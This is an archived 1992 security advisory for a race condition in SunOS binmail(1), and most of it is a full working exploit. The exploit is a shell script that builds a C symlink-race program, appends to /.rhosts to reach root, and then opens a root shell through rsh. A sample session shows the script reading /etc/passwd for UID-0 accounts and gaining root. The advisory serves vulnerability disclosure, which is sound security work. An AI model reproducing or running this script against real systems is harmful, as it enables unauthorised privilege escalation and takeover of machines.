home *** CD-ROM | disk | FTP | other *** search
- ===========================================================================
- [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992
-
-
- PROGRAM:
-
- binmail(1) (/usr/bin/mail)
-
- VULNERABLE OS's:
-
- SunOS 4.1.x
-
- (Possibly other platforms - see DISCUSSION)
-
- DESCRIPTION:
-
- A race condition exists in binmail(1), which allows files to
- be created in arbitrary places on the filesystem. These files
- can be owned by arbitrary (usually system) users.
-
- IMPACT:
-
- Any user with access to binmail(1) can become root.
-
- REPEAT BY:
-
- This example demonstrates how to become root on most affected
- machines by creating/appending-to root's .rhosts file. Please
- do not do this unless you have permission.
-
- Create the following file, 'mailscript':
-
- 8<--------------------------- cut here ----------------------------
- #!/bin/sh
- #
- # Syntax: mailscript user target-file rsh-user
- #
- # This exploits a flaw in SunOS binmail(1), and attempts
- # to become the specified 'user', by creating a .rhosts
- # file and using rsh.
- #
- # Written 1992 by [8LGM]
- # Please do not use this script without permission.
- #
- PATH=/usr/ucb:/usr/bin:/bin export PATH
- IFS=" " export IFS
-
- PROG="`basename $0`"
- SPOOLDIR="/var/spool/mail"
-
- # Check args
- if [ $# -ne 3 ]; then
- echo "Syntax: $PROG user target-file rsh-user"
- exit 1
- fi
- TARGET="$1"
- TARGET_FILE="$2"
- RSH_USER="$3"
-
- # Check we're on SunOS
- if [ "x`uname -s`" != "xSunOS" ]; then
- echo "Sorry, this only works on SunOS"
- exit 1
- fi
-
- # Check user exists
- grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
- if [ $? -ne 0 ]; then
- echo "$PROG: Warning, $TARGET not in local passwd file"
- # We continue though, might be in the YP passwd file
- fi
-
- # Check target file
- if [ -f $TARGET_FILE ]; then
- OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
- 2>/dev/null
- echo "$PROG: Warning, $TARGET_FILE already exists, appending"
- else
- OLD_TARGET_LEN=0
- fi
-
- # Delete spool file if its a link, and we are able
- if [ -h "$SPOOLDIR/$TARGET" ]; then
- rm -f "$SPOOLDIR/$TARGET"
- # Dont worry about errors, we catch it below
- fi
-
- # Check mail file
- if [ -f "$SPOOLDIR/$TARGET" ]; then
- echo "$PROG: ${TARGET}'s mail file exists."
- exit 1
- fi
-
- # Make the race program
- cat >mailrace.c << 'EOF'
- #include <stdio.h>
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- if (argc != 3) {
- fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
- exit(1);
- }
-
- for (;;) {
- unlink(argv[1]);
- symlink(argv[2], argv[1]);
- }
- }
- EOF
- cc -o mailrace mailrace.c
-
- # Check we now have mailrace
- if [ ! -x "mailrace" ]; then
- echo "$PROG: couldnt compile mailrace.c - check it out"
- exit 1
- fi
-
- # Start mailrace
- ./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
- RACE_PID=$!
-
- # Send mail to the user
- NEW_TARGET_LEN=$OLD_TARGET_LEN
- while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
- echo "Sending mail to $TARGET"
- echo "localhost $USER" | /bin/mail $TARGET
- sleep 10
- kill -STOP $RACE_PID
- rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
- if [ -f $SPOOLDIR/$TARGET ]; then
- echo "$PROG: Sorry, we lost the race - cant try again."
- kill -9 $RACE_PID
- exit 1
- fi
- kill -CONT $RACE_PID
- if [ -f "$TARGET_FILE" ]; then
- NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
- 2>/dev/null
- else
- NEW_TARGET_LEN=0
- fi
- if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
- echo "We drew the race that time, trying again"
- fi
- done
-
- # We won the race
- kill -9 $RACE_PID
- echo "We won the race, becoming $RSH_USER"
- rsh localhost -l $RSH_USER sh -i
- exit 0
- 8<--------------------------- cut here ----------------------------
-
- (Lines marked with > represent user input)
-
- Check what root users are on the system:
-
- > % grep :0: /etc/passwd
- root:*:0:1:Operator:/:/bin/csh
- sysdiag:*:0:1:Old System
- Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
- sundiag:*:0:1:System
- Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
- +::0:0:::
-
- We choose a user with UID 0, but without a /var/spool/mail/<username> file:
-
- > % ls -l /var/spool/mail/sysdiag
- /var/spool/mail/sysdiag not found
-
- Execute mailscript. The user is sysdiag, the target file is /.rhosts, and
- the user to rsh to on success is root:
-
- > % chmod 700 mailscript
- > % ./mailscript sysdiag /.rhosts root
- mailscript: Warning, /.rhosts already exists, appending
- Sending mail to sysdiag
- We won the race, becoming root
- ./mailscript: 11051 Killed
- #
-
-